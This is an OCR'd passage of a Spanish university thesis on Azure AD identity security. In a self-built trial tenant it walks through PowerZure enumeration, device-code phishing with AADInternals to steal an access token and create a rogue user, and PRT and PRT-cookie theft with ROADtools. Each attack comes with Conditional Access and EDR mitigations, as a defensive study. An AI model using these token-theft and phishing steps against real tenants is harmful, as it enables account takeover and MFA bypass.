Admin de Azure AD. También existen ataques desde el entorno on-premise hacia Azure AD
y viceversa.

¢ *0._.0_0
Y WS

Qutsider

Ilustracion 8: KillChain Azure AD (Syynimaa, 2020)
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2.2.5 Roles importantes de Kill Chain en Azure AD

Taly como hemos visto en el punto anterior, lo que los atacantes van a intentar ser Global
Admin para hacerse con el control del tenant. Por tanto, es necesario explicar de manera
breve segun la imagen anterior que roles y como forman parte del ciberataque:

Un outsider (externo) nos referimos aquel usuario que no tiene acceso al tenant. Tenemos
que saber que los externos pueden extraer informacion usando las APls y lanzando
consultas DNS.

Un invitado se refiere a un usuario externo que ha sido invitado a nuestro tenant. Estos
usuarios tienen accesos restringidos a nuestro Azure AD, pero pueden conseguir
numerosa informacién usando APls de Microsoft.

Por el usuario, a la identidad que esta alojada en el tenant con acceso normal.

Admin, se refiere al Global Administrator, el rol més poderoso dentro de Azure AD. Este
tiene acceso ilimitado a todas las funcionalidades de Azure AD y Office 365.

(Microsoft, 2024)

2.2.6 ;Cuales son los accesos administrativos de Azure AD?

Si pensamos en atacar o defender Azure AD necesariamente tenemos que saber quiénes
son los Global Admin, taly como hemos visto en el punto anterior. Otro punto importante
a conocer es saber cuales son los accesos administrativos a Azure AD, es decir, cuales
son las puertas de entrada a mi tenant.

Por todos es conocido que para acceder a Azure AD el acceso al portal se realiza via web
accediendo a https://portal.azure.com

Pero existen méas accesos administrativos, que son los siguientes:

— —
Azure PowerShell Azure portal Azure CLI

[ [ { REST API endpoints I

Azure Cli

v [ «| Azure Resource Manager —%— ) Microsoft Entra ID
v AZ Powershell Trust
\/ MS Graph API Azure resource prmuiers 7& 7&
4> ™ ... Tenan Tenan
v Azure API e v @ ; ' '
v Internal API S, Association
. Azure subscription
v viaweb * |
Resource group
v Portal.azure.com

® @ B s O

Resource Resource Resource Financial Tenant Azure RBAC
policies limits commitment roles
limits

Ilustracion 9: Accesos Administrativos Azure (Microsoft, 2024)


https://portal.azure.com/
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2.3 Trabajando sobre el concepto de identidad en Azure AD

Cuando nos referimos a identidad dentro del entorno Azure AD, nos estamos refiriendo a
sus objetos. Como hemos visto en puntos anteriores dentro de Azure AD podemos
albergar usuarios, dispositivos y aplicaciones. Asimismo, el propio tenant de Azure AD
también forma parte de una identidad, la cual representa la organizacion. El objetivo de la
identidad es responder a la pregunta de “;quiénes somos?” cuando nos validamos.

Estas identidades se pueden asociar con una prueba de identidad, es decir una
autenticacion. Para ello podemos ver en una tabla las maneras en las que podemos
autenticar a usuarios, dispositivos o aplicaciones:

Autenticacion Usuario Dispositivo Cliente

Authenticator

Kerberos Ticket (Seamless SSO)

<
<

v
v
v
v
v
v
v
v

(Microsoft, 2023)

CCOKKX

2.3.1 Identidades: Pure Cloud

Hoy en dia existen distintos tipos de identidades en funcién de su origen, es decir, cuando
se crean dentro de nuestro tenant. Entender el origen y su funcién, es sumamente
importante para entender como se pueden atacar y/o proteger. Por un lado, existen las
Identidades del tipo Pure Cloud en Azure con esto nos estamos refiriendo a que son
objetos puramente cloud y su identidad esta basada en Azure Active Directory.

e Usuarios

e Grupos

e Service Principal: es un concepto de entidad que actian como una aplicacién

e Aplicaciones: Cuando registramos una aplicacién que es personalizada, esto
genera un objeto del tipo Aplicacion, por ende, esta aplicacion necesita un
contexto de seguridad para saber quién puede hacer uso de ellay quién no, en
determinadas circunstancias. Es decir, cuando registremos una aplicacion se
crear el objeto App y se asociara la aplicacién a un Service Principal.

e Aplicaciones empresariales: Cuando instalas una aplicacién de terceros, en
este caso no alojamos la aplicacién en el tenant de Azure AD, sino que esta
alojada en otro tenant.
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2.3.2 ldentidades: Sincronizadas (hibridas)

En el otro lado existen las identidades hibridas sincronizadas. El concepto de hibrido
sincronizado es que integramos nuestro Active Directory contra Azure AD. El objetivo de
realizar esta sincronizacioén es disponer de una identidad Unica, en ambos dos entornos,
tanto Azure AD como AD, proporcionar Single Sing On a los usuarios de la organizacion
para acceder a las aplicaciones locales, servicios en la hube, aplicaciones empresariales
y por supuesto Microsoft, por ultimo, la sincronizacién de las contrasenas.

Se puede definir que se sincroniza desde el AD y que objetos en funcion desde las
necesidades.

Para ello usamos el software de Azure AD Connect o Entra Connect. Este software se
conectara al AD con un usuario que tenga suficientes permisos para leer las propiedades
del AD y replicara nuestra base de datos contra Azure AD.

Ilustracidn 10: Arquitectura Hibrida AD (Microsoft, 2023)

En cuanto a la sincronizacién de las contrasefias puede trabajar de dos maneras muy
distintas Password Hash Sync, Pass-Throughy Federation Authentication.

e Password Hash Sync (PHS): Sincroniza los hashes de las contrasefias. Es decir,
vuelve a realizar el hash las contrasefias de nuestro AD, para sincronizarlas. Por
explicar este punto un poco mas, un Active Directory guarda las contrasefias de
todos nuestros usuarios en formato NTLM en el controlador del dominio. Esto no
es lo que sincroniza, sino que Azure AD Connect, vuelve hacer el hash del hash la
contrasena para replicarlo y hacerlo mas seguro.

e Pass-Through (PTA): En este caso cuando desde Azure AD se requiera validar a un
usuario, la peticién bajara a nuestro AD y sera el encargado de validar la peticion.

e Federation Authentication: Los servicios de federacion permite usar AD como
proveedor de identidad para las autenticaciones en la nueve. Mediante AD FS, se
redirigen las peticiones al AD.

2.3.3 ldentidad: Dispositivos

Los dispositivos es otro tipo de identidad que forma parte de un tenant. EL hecho de
trabajar con dispositivos en cuanto a ciber seguridad se refiere, es la mejor palanca de



U Universitat Oberta uoc.edu
c de Catalunya

cambio para fortificar una organizacion haciendo uso del acceso condicional. Para hacer
uso del acceso condicional es necesario trabajar con la identidad dispositivos y se hace
necesario entender que tipos existen y como se relacionan. El acceso condicional nos
permite elaborar politicas de seguridad con una granularidad enorme.

Existen tres tipos de unir a Azure AD un dispositivo, que son registered, joined o hybrid. El
primero de ellos seria el mas sencillo en el que podemos interactuar con el dispositivo
exigiéndole cierto nivel de politicas. El segundo joined es un dispositivo full cloud y forma
parte de manera completa de Azure AD. Hybrid nos indica que el dispositivo esta unido al
AD.

Ademas, estos dispositivos nos permiten saber desde donde podremos aplicarle las
politicas de seguridad que sean definidas y de qué manera van a hacer el proceso de
autenticacion, si bien contra Azure AD o contra AD. Para esto podemos ver una pequefa
tabla resumen:

Administracion
Dispositivos

Join Type Qué tipos pueden ser Credenciales

GEFREIE B -PC Personal -Microsoft Account -Intune

-Dispositivos Mdviles -Azure AD
(personales/empresa) -Local Account
-Cloud-only

“ - PC Empresarial -Azure AD -Intune
- Cloud-only

- - PC Empresarial -Active Directory -Intune
- Cloud & On-prem -SCCM

2.3.4 Permisos de las identidades pure cloud o hibridas

El control de los permisos de los recursos en la nube es crucial para cualquier entidad
que utilice servicios en la nube. El sistema de control de acceso basado en roles de Azure
(Azure RBAC) facilita la gestidn de los privilegios de acceso a los recursos de Azure,
determinando quién puede acceder a ellos, qué acciones pueden realizary a qué areas
tienen permiso de acceso.

Una entidad de seguridad es un objeto que representa a un usuario, un grupo, una entidad
de servicio o una identidad administrada que solicita acceso a recursos de Azurey se le
puede asignar un rol a cualquiera de estos.

Security principal

’ Managed
User Group principal identity

Ilustracion 11: Entidades de seguridad (Microsoft, 2024)
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2.3.5 Permisos en Aplicaciones y Aplicaciones Empresariales

Los permisos en Azure AD se dividen en dos tipos: delegados y de Aplicacién.

Los permisos delegados son utilizados por las aplicaciones que tienen una interfaz de
usuario y estan firmadas por un usuario. Es decir, son los permisos que va a tener una
aplicacién en funcion del usuario que lo ejecuta.

Los permisos de aplicacion son utilizados por aplicaciones que funcionan como servicios
en segundo plano sin la necesidad de la interaccion del usuario.

Delegated access App-only access

User
permissions

L)
App App App

privileges Data at permissions. privileges Data at

resource [T 1] resource
| 11}
[ 1]
App
permissions

"Access on behalf of a user" "Access without a user"

Ilustracion 12: Permisos Aplicacion (Microsoft, 2023)

2.4 Como atacar Azure AD

Aunque como ya hemos visto en MITRE todos los accesos iniciales pasan por tener una
cuenta valida, vamos a ver cdmo podemos realizar ataques contra el AD y sin tener que
robar credenciales. Hemos podido obtener una visién muy global de cémo trabajan las
identidades, protocolos que se usan en Azure AD, tipos de identidades, como se
sincronizan las contrasefias desde el AD, etc.

2.4.1 Robo de Access Token: Device Auth Code

Desde este punto es necesario explicar técnicamente como se hablan las identidades
con Azure AD para saber como realizar los ataques comprometiendo las cuentas de las
identidades.

Para saber como los dispositivos registered y joined se unen los dispositivos a Azure AD
este es el proceso que se produce:
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User Azure AD

2 D

0 Generate Device key and Transport key

e Request access token for AAD Join |
Access token
©
o Enroll device

Device certificate
O
4

Illustracion 13: Azure AD join (Syynimaa, 2021)

El dispositivo genera una clave de dispositivo y transporte y solicita a Azure AD un access
token, tras esto, el dispositivo se une y Azure AD le entrega un certificado.

Si hablamos del entorno hibrido, simplemente tenemos que meter un paso mas que seria
la sincronizacion entre AD y Azure AD:

Computer Azure AD On-prem AD

= o [A

o Generate Machine certificate

_e Set userCertificate aftribute

h 4

Synchronise device

e Generate Device key and Transport key

_e Enroll device R

Device certificate
B

A J v A 4
Illustracion 14: OnPrem Active Directory join (Syynimaa, 2021)
Aqui es necesario entender y explicar que son los access tokens, estos permiten llamar

de forma de segura a las APl Web. Estas usan tokens de acceso para hacer la
autenticaciény autorizacion. Ademas, su formato es JSON Web Token.

Por tanto, si alguien es capaz de robar este access token, ya nos estariamos validando
contra Azure AD como un dispositivo.

2.4.2 Primary Refresh Token (PRT)

ELl PRT podriamos compararlo con un TGS (Ticket Grant Service) Kerberos. EL TGS forma
parte del proceso de autenticacion en Kerberos y es un ticket valido para conectarte
contra cualquier servicio donde tienes acceso. El diagrama seria el siguiente:
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Domain Controller

R vo—
6 AP REP (optional, Lsed i o TGS for access)
User’s Workstation $ e e mutual authentication is requested) —

Application Server

llustracion 15: Kerberos Proceso Autentiacion (ADSecurity, 2015)

En Azure AD, el PRT es un token que nos permite iniciar sesién solo unavez en un
dispositivo y luego iniciar sesién de manera automatica. Es un token JsonWebToken. El
escenario habitual son los ordenadores unidos a la empresa de cualquier manera
(registered, joined o hybrid). Contiene la identidad del dispositivo y la clave de sesion.
Tiene una duracién de 14 dias. Se puede saber si tiene un token si usamos el comando

dsregcmd /status:

Ilustracion 16: Comando dsregcmd

Por lo cual si alguien se hiciese con este token podria validarse con una identidad contra
Azure AD.

2.4.3 Pass The Token (PRT Cookie)

Este proceso va a tratar de conseguir desde un token la cookie que nos va a permitir robar
la sesidn web del navegador para validarnos contra Azure AD. Previamente es necesario
haber comprometido un ordenador sin que ninguna de las medidas de deteccidon haya

sido efectiva.

El diagrama del PRT es el siguiente:
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Ilustracion 17: PRT Cookie Diagrama (Microsoft, 2024)

El objetivo del hackeo es como el navegador se autentica contra Azure AD y solicita el PRT.
Cuando se realiza el get-token, queremos en el intercambio de claves PRT de sesidn,
obtener el PRT Cookie, y con este PRT Cookie podremos hacer login en cualquier
aplicacién via web.
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2.4.4 Enumeracion de objetos con PowerZure

Una de las fases que vimos como parte de un ciberataque es el reconocimiento. Si este
punto nos lo llevamos a Azure AD, el reconocer objetos nos va a permitir tener mas datos
sobre la organizacion, ¢qué usuario tengo?, ;quién soy?, ;qué roles tengo?, s existe una
politica de MFA?, ;quiénes son los usuarios Global Admin?, ;qué seguridad, productos
existen dentro del tenant?, todo este tipo de preguntas nos llevaran en funcion de las
respuestas a realizar una escalada de privilegios.

Algunas de estas funciones nos las va a ofrecer herramientas como PowerZure:

& Information Gathering t Operational

Get-AzureADAppOwner
Get-AzureADDeviceOwner
Get-AzureADGroupMember
Get-AzureADRoleMember
Get-AzureADUser
Get-AzureCurrentUser
Get-AzurelntuneScript
Get-AzureLogicAppConnector
Get-AzureManaged|dentity
Get-AzurePIMAssignment
Get-AzureRole
Get-AzureRunAsAccount
Get-AzureRolePermission
Get-AzureS5QLDB
Get-Azurelarget
Get-AzureTenantld
Show-AzureKeyVaultContent

Show-AzureStorageContent

Add-AzureADGroupMember
Add-AzureADRole
Add-AzureADSPSecret
Connect-AzureJWT
Export-AzureKeyVaultContent
Get-AzureKeyVaultContent
Get-AzureRunAsCertificate
Get-AzureRunbookContent
Get-AzureStorageContent
Get-AzureVMDisk
Invoke-AzureCommandRunbook

Invoke-
AzureCustomScriptExtension

Invoke-AzureRunCommand
Invoke-AzureRunMSBuild
Invoke-AzureRunProgram
Invoke-AzureVMUserDataAgent

Invoke-
Azure¥MUserDataCommand

New-AzureADUser
New-AzureBackdoor
MNew-AzurelntuneScript
Set-AzureElevatedPrivileges
Set-AzureSubscription
Set-AzureADUserPassword

Start-AzureRunbook

llustracion 18: Opciones PowerZure (Powerzure, 2024)
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3.Explotacion

3.1 Preparacion del entorno

Para realizar todos estos ejercicios de explotacion de Office365 y AzureAD, se ha creado
un entorno de cero para que no aparezcan datos confidenciales. Para ello hemos
solicitado una licencia de prueba de Microsoft 365 Empresa Premium, desde este enlace:
https://www.microsoft.com/es-es/microsoft-365/business/compare-all-microsoft-365-
business-products

Una vez seguido el proceso de alta y afiadir datos de pago, nos ha generado un tenant al
finalizar este proceso vamos a obtener el Global Admin:

Administrar la suscripcion en el Centro de administracién de Microsoft
365

MNumero de pedido: 9b86d07c-abdf-4bec-da35-cfb1a406a1d9

Guardar el nombre de usuario para iniciar sesién

pmp@alfredobbq.onmicrosoft.com

Illustracion 19: Global Admin Tenant Pruebas

Tras entrar en el tenant, vamos a generar un usuario sin privilegios para hacer las
diferentes simulaciones de ataques:

Configurar la informacion basica Asignar licencias de producto

Para empezar, rellene informacion basica scbre el usuario que va a agregar. Asigne las licencias que desea que tenga este usuario
Seleccione la ubicacion *

Nombre Apellidos

Usuariol | Contabilidad |

Licencias (1) * ~

Nombre para mostrar * . o R
(®) Asignar una licencia de producto al usuario

| Usuario Contabilidad | Microsoft 365 Empresa Premium

23 de 25 licencias disponibles

Nombre de usuario * Dominios (O Crear usuario sin licencia de producto (no se recomienda)

Es posible que tengan acceso limitado o que no tengan acceso a Microsoft 365
hasta que asigne una licencia de producto

| contabilidad | :| alfredobbg.onmicrosoft.com ~

Crear una contrasefia de manera automatica Aplicaciones (54) v

Ilustracién 20: Proceso Creacion Usuario 0365

Lo siguiente para tener en cuenta es que vamos a simular ejercicios ofensivos contra
Azure y Office365 con los que vamos a poder hacer tacticas, técnicas y procedimientos
(TTP) para ver que nos devuelve con un usuario sin privilegios. Como podremos ver en
estos ejercicios ejecutaremos ataques en los que partimos de dos puntos iniciales. El
primero de ellos es acceso al tenant con unas credenciales validas. El otro punto de
partida es no tener credenciales validas y entrar al tenant.


https://www.microsoft.com/es-es/microsoft-365/business/compare-all-microsoft-365-business-products
https://www.microsoft.com/es-es/microsoft-365/business/compare-all-microsoft-365-business-products
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En este trabajo no se centra en explicar los métodos para encontrar credenciales validas,
en este sentido, existe una parta de la ciberseguridad que se encarga de ello. Por
enumerar, algunos ejemplos, podemos encontrar credenciales validas comprandolas en
la Darkweb, desde foros de hacking, o porque hemos conseguido comprometer un
ordenador y hemos extraido las credenciales del Lsass.exe o del Credential Manager o del
navegador...

Como se vera luego, tampoco esta centrado este trabajo en elaborar ejercicios de
ingenieria social para sacar correos que suplanten o que hagan picar a los usuarios. Este
trabajo esta centrado en ver como hackear la parte técnicay no la parte humana.

3.2 Enumeracion de recursos con PowerZure

Para este primer ataque ofensivo vamos, vamos a suponer que ya tenemos unas
credenciales validas en el tenant. Esto puede ser bien porque tengamos un usuario
legitimo, o porque seamos unos invitados al tenant, o simplemente que nos hayamos
hecho con el control de un dispositivo con credenciales satisfactorias.

En este primer enfoque vamos a intentar con un usuario sin roles, nos conectarnos a
Azure via PowerShell e intentaremos enumerar y descubrir aplicaciones, registradas,
usuarios grupos... Para ello primero usaremos la herramienta de PowerZure que
podremos descargarla desde GitHub su libreria.

(Hausknecht, 2020)
Primero instalamos la Liberia de Azure sobre PowerShell:

PowerShell 7.4.2
PS C:\Users\PABLO> Install-Module

Untrusted repository

You are installing the modules from an untrusted repository. If you trust this repository, change its
InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from
'PSGallery'?

[¥] Yes [A] Yes to ALL [N] No [L] No to ALl [S] Suspend [?] Help (default is "N"): a

Ilustracion 21: Configuracion Powershell Az

Nos conectamos a la cuenta usando Connect-AzAccount

PS C:\Users\PABLO> Connect-AzAccount
Account SubscriptionName TenantId Environment

contabilidad@alfredobbq.onmicrosoft.com a22bc87f-c762-Ufd1-al38-Tbc7U3d99593 AzureCloud

PS C:\Users\PABLO> |

Ilustracidon 22: Conexion contra Azure

Importamos la herramienta de PowerZure, para que nos permita usar sus cmdlet.
Dependiendo de la politica de PowerShell que este configurada a veces es necesario
modificarla, aqui si fue necesario:


https://github.com/hausec/PowerZure
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PS C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master> Set-ExecutionPolicy Unrestricted
rrentUser
PS C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master> Import-Module .\PowerZure.psml

Advertencia de seguridad

Ejecute solo los scripts de confianza. Los scripts procedentes de Internet pueden ser utiles, pero este script podria
dafiar su equipo. Si confia en este script, use el cmdlet Unblock-File para permitir que se ejecute sin este mensaje de
advertencia. ;Desea ejecutar C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master\PowerZure.psml?

[N] No ejecutar [Z] Ejecutar una vez [U] Suspender [?] Ayuda (el valor predeterminado es "N"): S

llustracion 23: Importacion cmdlet Powerzure

Ya podemos empezar a ver que hay bajo el tenant con los distintos comandos que nos
trae PowerZure:

PS C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master> Get-AzureCurrentUser

a22bc87f-c762-Ufd1-al38-TbcTU3d99593
contabilidad@alfredobbq.onmicrosoft.com
8ae29813-cc25-U879-877U-c32af62Uafob
{1
{A1l Users, ALFREDOS}
{1

Active Subscription

Available Subscriptions : {}

Ilustracion 24: Ejemplo Enumeracion 1

Vamos a ver quién tiene el rol de Global Admin:

PS C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master> Get-AzureRoleMember

@odata.type userPrincipalName id

Illustracion 25: Ejemplo Enumeracion 2

Existen bastantes opciones que podemos invocar con esta opcidn para ver que se puede
hacer:

PS C:\Users\PABLO\Desktop\PowerZure-master\PowerZure-master> Invoke-PowerZure
PowerZure Version 2.2

List of Functions

Get-AzureAppOnner ——- Returns all owners of all Applications in Entra

Get-AzureDeviceOwner Lists the owners of devices in Entra. This will only show devices that have an owner.
Get-AzureGroupMember Gathers a specific group or all groups in Entra and lists their members.
Get-AzureRoleMember Lists the members of a given role in Entra

Get-AzurelUser Gathers info on a specific user or all users including their groups and roles in Azur
e & AzureAD

Get-AzureCurrentUser —— — Returns the current logged in user name and any owned objects

Get-AzurelIntuneScript - Lists available Intune scripts in Azure Intune

Get-AzurelogicAppConnector - Lists the connector APIs in Azure

Get-AzureManagedIdentity - Gets a list of all Managed Identities and their roles.

Get-AzurePIMAssignment ——- Gathers the Privileged Identity Management assignments. Currently, only AzureRM rol
es are returned.

Get-AzureRole Gets the members of an Azure RBAC role.

Get—-AzureRunAsAccount ——- Finds any RunAs accounts being used by an Automation Account
Get-AzureRolePermission - Finds all roles with a certain permission

Get-AzureSQLDB — Lists the available SQL Databases on a server

Get-AzureTarget — Compares your role to your scope to determine what you have access to
Get-AzureTenantId Returns the ID of a tenant belonging to a domain

Show-AzureKeyVaultContent Lists all available content in a key vault

Show-AzureStorageContent —- Lists all available storage containers, shares, and tables

llustracidn 26: Ejemplos de Enumeracién PowerZure

Pensemos que esta herramienta se esta ejecutando contra un tenant que no tiene nada
mas que dos usuarios, sin suscripciones, ni aplicaciones, ni grupos, niroles...por tanto, la
enumeracién de todas estas funcionalidades queda muy restringida a estos resultados.
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Pero la realidad es que cuando estamos dentro de un proceso de auditoria la
enumeracion es un proceso que nos va a mostrar mucha informacidn valiosa. Si, por
ejemplo, tuviésemos aplicaciones registradas podriamos ver los owners de las
aplicaciones, que miembros tienen un rol dentro del AAD, listar scripts que estan en
Intune puede arrojar informacién confidencial de la empresa, listar las APIs que estan
publicadas, listar contenedores, los secretos del KeyVault.

Aunque existen varias medidas para mitigar esta medida de enumeracion la mas efectiva
es usar Acceso Condicional bloqueando Windows Azure Service Management Api para
gue ningun usuario sin privilegios pueda de este modo, ni Azure Cli, ni Ms Graph...

Mas adelante veremos qué es el acceso condicional y como configurar politicas, desde la
parte defensiva.

3.3 Robo de Access Token: Device Auth Code

En esta ocasién el gjercicio ofensivo va a consistir en enviar un correo suplantando alguna
identidad con el fin de que registre un dispositivo. Al registrar este dispositivo,
capturaremos el token de acceso, lo cual nos permitira evadir el MFA y estar dentro de la
sesion del usuario. Para ello vamos a utilizar las herramientas del Dr. Azure que se llaman
AADInternals.

(Syynimaa, 2018)

Permitimos en Powershell la ejecucion e importamos los cmdlet:

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master> Set-ExecutionPolicy Unrestricted

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master> Import-Module .\AADInternals.psdl
PS C:\Users\PABLO\Desktop\AADInternals—-master\AADInternals-master> |

llustracidon 27: Configuracion PowerShell

Lo siguiente es modificar el fichero killchain.ps1 para afadir las opciones de envio de
correo, con el servidor que vaya a enviar este email falso. En nuestro caso como vamos a
usar Hotmail, es necesario configurar el puerto y STARTLS.

send-MailMessage -from martin.prados@hotmail.com -to pmp@alfredobbq.onmicrosoft.com -Subject $subject -Body $message -Smtpserver $SMTPServer -BodyAsHtml -Encoding utfg -Port

p87 -UsessL -Credential $cred

Illustracion 28: Configuracion Killchain.ps1

Lanzamos el email phishing con el siguiente cmdlet:

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master> Invoke-AADIntPhishing pmp@alfredobbg.onm
icrosoft.com bbgcontabilidad@hotmail.com outlook.office365. com

cmdlet Invoke-AADIntPhishing en la posicién 1 de la canalizacién de comandos
Proporcione valores para los parametros siguientes:

Subject: aa
Code: GLE3YLWUT
Mail sent to: pmp@alfredobbq.onmicrosoft.com

Illustracion 29: Envio email AADinternals
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Serecibe el email:
& Traducir mensaje a Espafiol | Nunca traduzca de: Inglés

bbqcontabilidad@hotmail.com

Para: PABLO MARTIN PRADOS

Hil

This is a message sent to you by someone who is using AADInternals phishing function.

Here is a link you should not click.

f you still decide to do so, provide the following code when requested: GL63YLWUT.

4 Responder

/= Reenviar

llustracion 30: Email Phishing

Entramos en el enlace y podemos ver
que la web es legitima de Microsoft, y
directamente podemos introducir el
cédigo que nos enviaron:

B® Microsoft

Especificar el codigo

Escriba el codigo que se muestra en su aplicacion o
dispositivo

GLE3YLWUT]

Ilustracion 31:Login de Office365

Escogemos la cuentay si nos
fijamos, Microsoft identifica el
pais desde donde se ha
lanzado la peticién maliciosa:

B Microsoft

Seleccion de la cuenta

ciando sesion en Microsoft Office en otro
dispaositivo que se encuentra en Espaiia. Si no es
usted, cierre esta pagina.

PABLO MARTIN PRADOS
@ pmp@aliredobbg.onmicrosoft.com
Conectado

+ Usar otra cuenta

Atras

llustracion 32: Seleccién de Cuenta
Office365

Y finalmente se completa el
proceso de alta del “dispositivo”:

B® Microsoft

Microsoft Office

Ha iniciado sesidn en la aplicacion Microsoft Office
de su dispaositivo. Ya puede cerrar esta ventana.

Ilustracion 33: Finalizacion proceso login
Office365

En Powershell lo que podemos evidenciar es que hemos robado este token, que tiene una

duracién de 14 dias:

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master=>
bbgcontabilidad@hotmail. com

icrosoft.com

Invoke
outlook.office

cmdlet Invoke-AADIntPhishing en la posicion 1 de la canalizacion de comandd
Proporcione valores para los parametros siguientes:

Subject: AA
Code: C2NNSUFVLU

Mail sent to: pmp@alfredobbq.onmicrosoft.com

Received access token for pmp@alfredobbq.onmicrosoft.com
PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master>

llustracion 34: Powershell AADinternals - Token recibido
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Y, por ejemplo, para comprobar que como hemos robado un usuario que tiene privilegios,
hemos creado un nuevo usuario:

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master> New-AADIntUser

AlternateEmailAddresses
AlternateMobilePhones
AlternativeSecurityIds

Ilustracion 35: Ejemplo de ataque con token recibido

Volvemos a revisar desde el centro de administracién de Office365 y comprobamos que
se ha creado de manera satisfactoria:

Centro de administracién de Microsoft 365

nicio Usuarios activos

Usuarios activos
Isuarios
suarios activos Agregar un usuario Plantillas de usuario Agregar varios usuarios Autenticacién multifactor Eliminar un usuario Actualizar
lontactos
suarios invitados Nombre para mostrar | Nombre de usuario Licencias

suarios eliminados

H4ck3d H hdck3d@alfredobbq.onmicrosoft.com Sin licencia

Pispositivos

PABLO MARTIN PRADOS : pmp@alfredobbg.onmicresoftcom Microsoft 365 Empresa Premium

Usuario Contabilidad H contabilidad@alfredobbq.onmicrosoft.com Microsoft 365 Empresa Premium

Ilustracion 36: Evidencia del ataque con AADInternals

Como hemos podido ver en este ataque, se ha producido el envio de un email que no esta
personalizado y se ha hecho desde un dominio basico, como Hotmail. Estos ejercicios
normalmente se compra un dominio muy similar al del receptory se suele modificar el
cuerpo del correo mediante ingenieria social para que el usuario piqué. Se ha podido
evidenciar que, una vez robado el token, el doble factor de autenticacién no se ha
solicitado en ninglin momento, aun siendo un Global Admin.

Para mitigar estos ataques, visto que el doble factor no es una medida suficiente, es
necesario hacer uso del acceso condicional, en el cual preguntaremos por la identidad
del dispositivo. Si el dispositivo esta hybrid o esta en Intune se permite, sino se bloquea.
Otra accidn, aunque es mas laxa, es la geolocalizacién, podriamos no permitir el pais en
funcién de las necesidades de la organizacion.

3.4 Acceso al PTR

Taly como explicamos en los puntos anteriores el PTR (Primary Token Refresh) es lo mas
parecido al TGS de Kerberos. Es un token que permite iniciar sesién solo unavez en el
dispositivo y luego iniciar sesién de manera automatica contra AzureAD. El escenario
habitual de trabajo de estos tokens, son ordenadores de una organizacion ya sea del tipo
Azure AD registered, Azure AD joined, o Hybrid Azure AD Joined. Este token contiene la
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identidad del dispositivo y la clave de sesion. Tiene una duracion de 14 dias y podemos
ver su estado lanzando un comando en el equipo unido: dsregcmd /status.

Si partimos del punto anterior en el que hemos comprometido una maquina que este
unida a AzureAD o al dominio, podremos extraer el PRT.

Verificamos que el equipo esta unido a AzureAD en este caso:

Cuentas > Obtener acceso a trabajo o escuela

e que tu trabajo o excuela controle algunas cosas de este

Ilustracidon 37 Equipo AzureAD Joined

Vamos a usar AADInternals para robar el PRT:

B AADInternals 0.9.3

Ilustracion 38: Acceso al PRT AADInternals

Con este PRT Token no podemos usarlo para ir a un navegador y hacer login con las
credenciales robadas o conectarnos via PowerShell. Para ello vamos a usar otra
herramienta para solicitar una cookie de sesidn con este PRT.

3.5 Robo PRT Cookie

Para terminar de realizar este ataque usaremos varias herramientas. Previamente en el
equipo vamos a necesitar tener instalado, Phyton, Framework 4.5 y VisualStudio Code

Nos bajamos las herramientas de ROADtools y ROADtoken desde GitHub. Procedemos a
instalar roadtools con estos comandos:

e pipinstallroadlib
e pipinstall roadrecon
e Pipinstall roadtx

Por dltimo, vamos a compilar el proyecto en VisualStudio de RoadToken para que nos
genere el roadtoken.exe que lanzaremos como ultimo paso.


https://github.com/dirkjanm/ROADtools/tree/master
https://github.com/dirkjanm/ROADtoken
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Guardamos el PTR obtenido en el punto anteriory lo primero que vamos a hacer es
solicitar un nonce que se asocia a una sesion de cliente con un Token ID. Usamos:
roadrecon Auth —prt-init

PS C:\Users\PABLO\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_gbz5n2kfra8p®\LocalCache\local-packages\Py
thon311\Scripts> .\roadrecon.exe auth

Requested nonce from server to use with ROADtoken: AwABEgQEAAAACAOz_BQDO_3gkcHE-TgdZOKQ_93L z8Y+ygRNWdY1f6iPr8PAzD-BE
LUDVzKxCJIUcTPweQR2HHzZKRCosIs1Tu_UsklQsgAA

llustracion 39: Solicitud Nonce PRT

Ahora vamos a obtener el PRT Cookie, para ello vamos a usar roadtoken.exe y el nonce
que hemos solicitado:

llustracion 40: Solicitud PRT Cookie

Vamos a obtener el token de autenticacion, para ello usaremos roadrecon Auth —prt-
cookie y la cookie obtenida en el paso anterior:

Ilustracidon 41: Token de autenticacion final

Con este token que hemos obtenido ya podemos volver a conectarnos contra AzureAD via
PowerShell desde otro ordenador que no sea de la organizacién. Para ello usaremos
comando Connect-AzureAD -AccessToken “token” — AccountID xxxx-xxxx — TenantID
XXXXX-XXXXX

llustracion 42: Conexion AzureAD con PRT robado

Podemos decir que, para fortificar este proceso, tenemos que usar Conditional Access
como la herramienta mas barata y sencilla de implementar, no permitir las conexiones
contra AzureAD desde ordenadores que no sean de la compania. Si el ordenador es de la
compaiiia esta medida no es aplicable a no ser que también lo tengamos bloqueado por
defecto. Otra buena medida de deteccién es con técnicas de EDR (Endpoint, Detect and



U Universitat Oberta uoc.edu
c de Catalunya

Response) que si usan herramientas legitimas como PowerShell con las sintaxis que
hemos visto que genere una alerta.

Otras dos herramientas que permiten fortificar este ataque es usar la gestion de
identidades de Microsoft (Privileged Identity Management), con lo que cualquier usuario
del cloud debe tener el minimo de roles y privilegios para que no puedan realizar ninguna
tarea, tenemos que asumir un ZeroTrust en las identidades.

Usar maquinas bastionadas y fortificadas para cualquier uso administrativo contra
AzureAD. (Mollema, 2020)

3.6 Conclusiones post explotacién

La fase de post-explotacion en el contexto de los ataques a Azure AD ha revelado varias
areas clave que requieren nuestra atencidon inmediata.

Primero, hemos observado que Azure AD, a pesar de sus robustas medidas de seguridad,
no esta exento de vulnerabilidades. Se ha demostrado que se puede explotar estas
vulnerabilidades para obtener acceso no autorizado a nuestros recursos.

En segundo lugar, nosotros no hemos creado una persistencia en el sistema después de
la explotacion inicial esto seria el segundo paso de un ataque, a no ser que en la primera
localizasen un Global Admin. Esto subraya la necesidad de implementar medidas de
seguridad mas estrictas y de realizar un seguimiento constante de las actividades
sospechosas en nuestra red.

